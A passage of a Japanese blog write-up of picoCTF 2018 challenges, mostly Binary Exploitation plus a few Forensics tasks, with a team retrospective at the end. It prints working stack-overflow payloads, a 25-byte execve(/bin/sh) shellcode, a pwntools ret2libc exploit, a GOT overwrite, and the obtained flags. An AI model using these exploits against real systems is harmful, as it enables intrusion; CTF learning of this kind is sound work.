    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }
  fgets(flag,FLAGSIZE_MAX,f);
  signal(SIGSEGV, sigsegv_handler);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  if (argc > 1) {
    vuln(argv[1]);
    printf("Thanks! Received: %s", argv[1]);
  }
  else
    printf("This program takes 1 argument.\n");
  return 0;
}

バッファは16バイトなので、それ以上の長さを入れればsigsegv_handlerが呼ばれる

$ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
picoCTF{ov3rfl0ws_ar3nt_that_bad_2d11f6cd}

picoCTF{ov3rfl0ws_ar3nt_that_bad_2d11f6cd}

【Points: 200】buffer overflow 1【Binary Exploitation】

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"

#define BUFSIZE 32
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

とりあえずバッファオーバーフローさせてみる

$ ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
Segmentation fault

0x41Aのこと
どこかでAがジャンプ先に現れなくなるタイミングを探す

同時にIDAでwin()のアドレスを探す

44文字の後に0x080485CBを入れると良さそう
リトルエンディアンに合わせて並び替えてechoする

$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xCB\x85\x04\x08" | ./vuln

picoCTF{addr3ss3s_ar3_3asyd69e032d}

【Points: 250】buffer overflow 2【Binary Exploitation】

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 100
#define FLAGSIZE 64

void win(unsigned int arg1, unsigned int arg2) {
  char buf[FLAGSIZE];
  FILE *f = fopen("flag.txt","r");
  if (f == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  if (arg1 != 0xDEADBEEF)
    return;
  if (arg2 != 0xDEADC0DE)
    return;
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

構造についてあんまりちゃんと理解してなかったので、BUFSIZEを超えた4バイトがもう書き込めてると思って最初苦戦していた
IDAでちゃんと見たら、リターンアドレスまでのサイズは112だった
$ python -c 'print("A"*116)' | strace -i ./vuln
すればちゃんと0x41414141に飛ぶ

win()0x080485CBにある
$ python -c 'print("A"*112+"\xCB\x85\x04\x08")' > ~/nemu.txt

これをgdbで入力にして実行
(gdb) r < /home/mayoneko/nemu.txt

Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.
Inferior 1 (process 3554045) exited normally

gdbではflagファイルを持ってこられないみたい
でもこの方法でwin()に入れていることはわかったので、今度は引数に値を入れることを考える


………………

Two special fields " r" and " s" represent return address and saved registers.
var_4Cは多分バッファサイズ
var_Cは多分フラグサイズのバッファ(4Cまでの0x40(64)用意されているので)
sはここのアドレス
rはリターンアドレス
今まで僕はリターンアドレスにWinの場所を突っ込んでたつもりでいたけど、本当はここのアドレスに突っ込んでいた。
リターンアドレスはどうでもいい(Segmentation faultで終わっても問題ない)ため、そこの4バイトは埋めないといけない

このへんでだんだん分からなくなってくる


win()のsはSPから58(88)上

vuln()のsはSPから78(120)上

つまり、vuln()のSPにwin()のアドレスをぶち込むとwin()が起動する(これはstraceで確認済み)
vuln()のsは4バイトなので、120-4の116個適当な文字列を流し、sにwinの()アドレスをぶち込む
するとデータ構造がwin()に移るから、rの分(4つ)だけ適当な文字列を流し込み、arg_0(引数1)にDEADBEEF、arg_4(引数2)にDEADC0DEを流すと鍵が開く(????????????)

つまり → 適当にやってたら開いた

$ python -c 'print("A"*112+"\xCB\x85\x04\x08"+"BBBB"+"\xEF\xBE\xAD\xDE\xDE\xC0\xAD\xDE")' | ./vuln
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˅BBBBᆳ-
picoCTF{addr3ss3s_ar3_3asyada28e9b}Segmentation fault

picoCTF{addr3ss3s_ar3_3asyada28e9b}

これからWriteupみて勉強させていただきます
まさかりお待ちしております

【Points: 200】leak-me【Binary Exploitation】

auth.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

int flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}


int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  // real pw: 
  FILE *file;
  char password[64];
  char name[256];
  char password_input[64];

  memset(password, 0, sizeof(password));
  memset(name, 0, sizeof(name));
  memset(password_input, 0, sizeof(password_input));

  printf("What is your name?\n");

  fgets(name, sizeof(name), stdin);
  char *end = strchr(name, '\n');
  if (end != NULL) {
    *end = '\x00';
  }

  strcat(name, ",\nPlease Enter the Password.");

  file = fopen("password.txt", "r");
  if (file == NULL) {
    printf("Password File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n");
    exit(0);
  }

  fgets(password, sizeof(password), file);

  printf("Hello ");
  puts(name);

  fgets(password_input, sizeof(password_input), stdin);
  password_input[sizeof(password_input)] = '\x00';

  if (!strcmp(password_input, password)) {
    flag();
  }
  else {
    printf("Incorrect Password!\n");
  }
  return 0;
}

名前は256文字までと言われているので、何はともあれ257文字入れてみる

What is your name?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,a_reAllY_s3cuRe_p4s$word_f78570

Incorrect Password!

なんか出てきたので、これをパスワードに入れてみる

What is your name?

Hello ,
Please Enter the Password.
a_reAllY_s3cuRe_p4s$word_f78570
picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

picoCTF{aLw4y5_Ch3cK_tHe_bUfF3r_s1z3_958ebb8e}

【Points: 200】shellcode【Binary Exploitation】

ヒント
Maybe try writing some shellcode?
You also might be able to find some good shellcode online.

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

void vuln(char *buf){
  gets(buf);
  puts(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  char buf[BUFSIZE];

  puts("Enter a string!");
  vuln(buf);

  puts("Thanks! Executing now...");

  ((void (*)())buf)();

  return 0;
}

ヒントに書かれていたのはたぶんこれのこと
shell-storm | Shellcodes Database

ここで「linux x86 sh」をクエリに入れて検索をかける
shell-storm.org/api/?s=linux*x86*sh

見つけたのがこれ
Linux/x86 - execve(/bin/sh) - 25 bytes

execveとは
execve - システムコールの説明 - Linux コマンド集 一覧表
これを使って/bin/shするコードらしいです

なので、さっきのshellcodeを実行します

$  (echo -en "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; cat )|./vuln
Enter a string!


[111Ұ
 ̀ ̀ ̀ ̀ ̀/bin/sh
Thanks! Executing now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{shellc0de_w00h00_8b811b44}

picoCTF{shellc0de_w00h00_8b811b44}

【Points: 250】got-2-learn-libc【Binary Exploitation】

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 148
#define FLAGSIZE 128

char useful_string[16] = "/bin/sh"; /* Maybe this can be used to spawn a shell? */


void vuln(){
  char buf[BUFSIZE];
  puts("Enter a string:");
  gets(buf);
  puts(buf);
  puts("Thanks! Exiting now...");
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);


  puts("Here are some useful addresses:\n");

  printf("puts: %p\n", puts);
  printf("fflush %p\n", fflush);
  printf("read: %p\n", read);
  printf("write: %p\n", write);
  printf("useful_string: %p\n", useful_string);

  printf("\n");

  vuln();


  return 0;
}

いろいろな関数のアドレスが表示されるが、実行するごとに値が変わっている
けれど、各関数のアドレスとsystem関数の距離が変わらなかったため、その距離からsystem関数を呼び出している
(この辺のメモが消えていたので、間違ってたらごめんなさい)

距離は-0x99a10だった

pwntoolsを使います

>>> from pwn import *
>>> io = process('/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln')
[x] Starting local process '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln'
[+] Starting local process '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln': pid 1042882
>>> io.readline()
'Here are some useful addresses:\n'
>>> io.readline()
'\n'
>>> io.readline()
'puts: 0xf758e140\n'
>>> io.readline()
'fflush 0xf758c330\n'
>>> io.readline()
'read: 0xf7603350\n'
>>> io.readline()
'write: 0xf76033c0\n'
>>> io.readline()
'useful_string: 0x565ed030\n'
>>> io.readline()
'\n'
>>> io.readline()
'Enter a string:\n'
>>> io.sendline("A"*148+"AAAA"*3+p32(0xf7603350-0x99a10)+"BBBB"+p32(0x565ed030))
>>> io.interactive()
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@VBBBB0^V
Thanks! Exiting now...
ls
flag.txt  vuln  vuln.c
cat flag.txt
picoCTF{syc4al1s_4rE_uS3fUl_bd99244d}

picoCTF{syc4al1s_4rE_uS3fUl_bd99244d}

【Points: 350】got-shell?【Binary Exploitation】

vuln.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>

void win() {
  system("/bin/sh");
}

int main(int argc, char **argv) {

  setvbuf(stdout, NULL, _IONBF, 0);

  char buf[256];

  unsigned int address;
  unsigned int value;

  puts("I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?");

  scanf("%x", &address);

  sprintf(buf, "Okay, now what value would you like to write to 0x%x", address);
  puts(buf);

  scanf("%x", &value);

  sprintf(buf, "Okay, writing 0x%x to 0x%x", value, address);
  puts(buf);

  *(unsigned int *)address = value;

  puts("Okay, exiting now...\n");
  exit(1);

}

IDAで関数win()のアドレスを探す → 0x0804854B

同じくIDAで、puts()のアドレスを探す → 0x0804A00C

I'll let you write one 4 byte value to memory. Where would you like to write this 4 byte value?
0804A00C
Okay, now what value would you like to write to 0x804a00c
0804854B
Okay, writing 0x804854b to 0x804a00c
ls
auth
auth.c
flag.txt
xinet_startup.sh
cat flag.txt
picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}

picoCTF{m4sT3r_0f_tH3_g0t_t4b1e_150b198c}

Forensics

【Points: 250】Lying Out【Forensics】

Screenshot from Gyazo

info.txt
You've been given a dataset of 4800 internet traffic logs for your
organization's website. This dataset covers the number of unique IP addresses
sending requests to the site in 15-minute "buckets", across a 24-hour day.
The attached plot will help you see the daily pattern of traffic. You should
see 3 spikes of traffic: one in the morning, one at midday, and one in the
evening.

Your organization needs your help to figure out whether some recent activity
indicates unusual behavior. It looks like some logs have higher-than-usual
traffic in their time bucket: many more unique IP addresses are trying to
access the site than usual. This might be evidence that someone is trying to
do something shady on your site.

画像を見ながら、異常なアクセスだと思ったところをすべて挙げる

nc 2018shell2.picoctf.com 2245
You'll need to consult the file `traffic.png` to answer the following questions.


Which of these logs have significantly higher traffic than is usual for their time of day? You can see usual traffic on the attached plot. There may be multiple logs with higher than usual traffic, so answer all of them! Give your answer as a list of `log_ID` values separated by spaces. For example, if you want to answer that logs 2 and 7 are the ones with higher than usual traffic, type 2 7.
    log_ID      time  num_IPs
0        0  00:15:00     9897
1        1  00:30:00     9731
2        2  01:45:00    10053
3        3  03:45:00    11629
4        4  05:45:00    11557
5        5  06:45:00    10280
6        6  07:30:00    10525
7        7  12:00:00    15357
8        8  13:45:00    11612
9        9  18:30:00    13978
10      10  19:30:00    11094
11      11  20:30:00     9882
12      12  20:45:00    11625
13      13  22:00:00    10823
3 4 8 12
Correct!


Great job. You've earned the flag: picoCTF{w4y_0ut_04c41b59}

picoCTF{w4y_0ut_04c41b59}

【Points: 250】What's My Name?【Forensics】

pcapファイルが配られたからwiresharkで開いたら書いてあったよ

picoCTF{w4lt3r_wh1t3_ddfad6f8f4255adc73e862e3cebeee9d}

strings -n 20 myname.pcapでも普通に出るっぽいよ

【Points: 550】LoadSomeBits【Forensics】

Screenshot from Gyazo

こんな感じの画像が配られるけど、ソフトによっては開けないと言われる

ヒント
Look through the Least Significant Bits for the image
If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different?

言われたとおり最下位ビットを保存するコードをprocessingで

pico.pde
byte[]pico =loadBytes("pico2018-special-logo.bmp");
int len=pico.length;
String [] arr= new String[len];
for(int i=0;i<len;i++){
  arr[i]=Integer.toHexString(pico[i] & byte(1));
}
println("load done");
String arrline=join(arr,"");
String line="";
for(int i=0;i<len-8;i+=8){
  String c=arrline.substring(i,i+8);
  int dec = Integer.parseInt(c, 2);
  char ci=char(dec);
  line+=ci;
}
String [] lines={line,""};
saveStrings("bits.txt",lines);
println("save done");

(もともと書いてたコードの変数がひどすぎたので、少し直してここに書き写した)

出てきたTXTファイルからstringしようとしてもだめ
エディタでも開こうとすると壊れているって言われる
catする


ちなみにこれは縮小したもので、普通のサイズだと
Screenshot from Gyazo
こんな感じになっている

ヒントをもう一度グーグル翻訳にかけて読み直す

バイナリシーケンス(seq)をasciiとして解釈し、同じバイナリシーケンスをオフセット1(seq [1:])からasciiとして解釈しようとすると、まったく同じか全く違うものが得られますか?

pico2.pde
byte[]pico =loadBytes("pico2018-special-logo.bmp");
int len=pico.length;
String [] arr= new String[len];
for(int i=0;i<len;i++){
  arr[i]=Integer.toHexString(pico[i] & byte(1));
}
println("load done");
String arrline=join(arr,"");
String line="";
for(int i=1;i<len-8;i+=8){           //ここだけ変えた
  String c=arrline.substring(i,i+8);
  int dec = Integer.parseInt(c, 2);
  char ci=char(dec);
  line+=ci;
}
String [] lines={line,""};
saveStrings("bits2.txt",lines);
println("save done");

先頭の文字列が違っていることが分かる

pico7.pde
byte[]pico =loadBytes("pico2018-special-logo.bmp");
int len=pico.length;
String [] arr= new String[len];
for(int i=0;i<len;i++){
  arr[i]=Integer.toHexString(pico[i] & byte(1));
}
println("load done");
String arrline=join(arr,"");
String line="";
for(int i=6;i<len/3;i+=8){           //ここだけ変えた
  String c=arrline.substring(i,i+8);
  int dec = Integer.parseInt(c, 2);
  char ci=char(dec);
  line+=ci;
}
String [] lines={line,""};
saveStrings("bits7.txt",lines);
println("save done");

7回目の試行でようやく来た
picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_770554193}

感想

Writeup書くのが一番疲れた。
低難易度からしっかりあって、自分が解けなかった問題もたくさんあったのでめちゃめちゃ参考になった。
もっと問題解けるようになりたいけど、CTF初心者を育てる仕組みが少ない気がするので、こういうCTFの大会は貴重だと思う。
Writeupみて全問解けるようにしてから他の大会に臨みたい。

弊チームはnekomaru、progfayと僕(mayoneko)の3人チームだったのだけど、初日の連携としては

  1. progfay : ゲーム開始前に問題の共有環境(Scrapbox)を整備
  2. nekomaru : ゲーム開始時に起きていて簡単な問題を大量にクリア
  3. mayoneko : 朝起きてから得意なWeb問をクリア

それ以降は

  • progfay : 終始環境整備に尽力 + 数学とPythonの力でScript meをクリア
  • nekomaru : SECCON Beginnersの知識でRSA問を全クリア
  • mayoneko : 苦手なBinary Exploitationをちまちまやる

みたいな感じ。
それぞれがそれぞれの得意分野を発揮できて、かつ新しいことにも挑戦できた気がしている。

progfayが環境の整備を順次行ってくれたおかげで問題を解くのに集中できたし、nekomaruが最初の簡単な問題を大量に解いてくれたおかげでちょうど良いレベルの問題を解けた。
一番良い思いをしているのが多分僕です。本当にありがとうございました。

反省としては、全員得意なジャンルがWeb問だったのに、僕1人でWeb問解きすぎなのでもっと違うジャンルに手を伸ばそうと思った。
(特にチーム全体でReversingが2問しか解けてないのまずい)

今後もCTFやっていきたい

7
4
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
7
4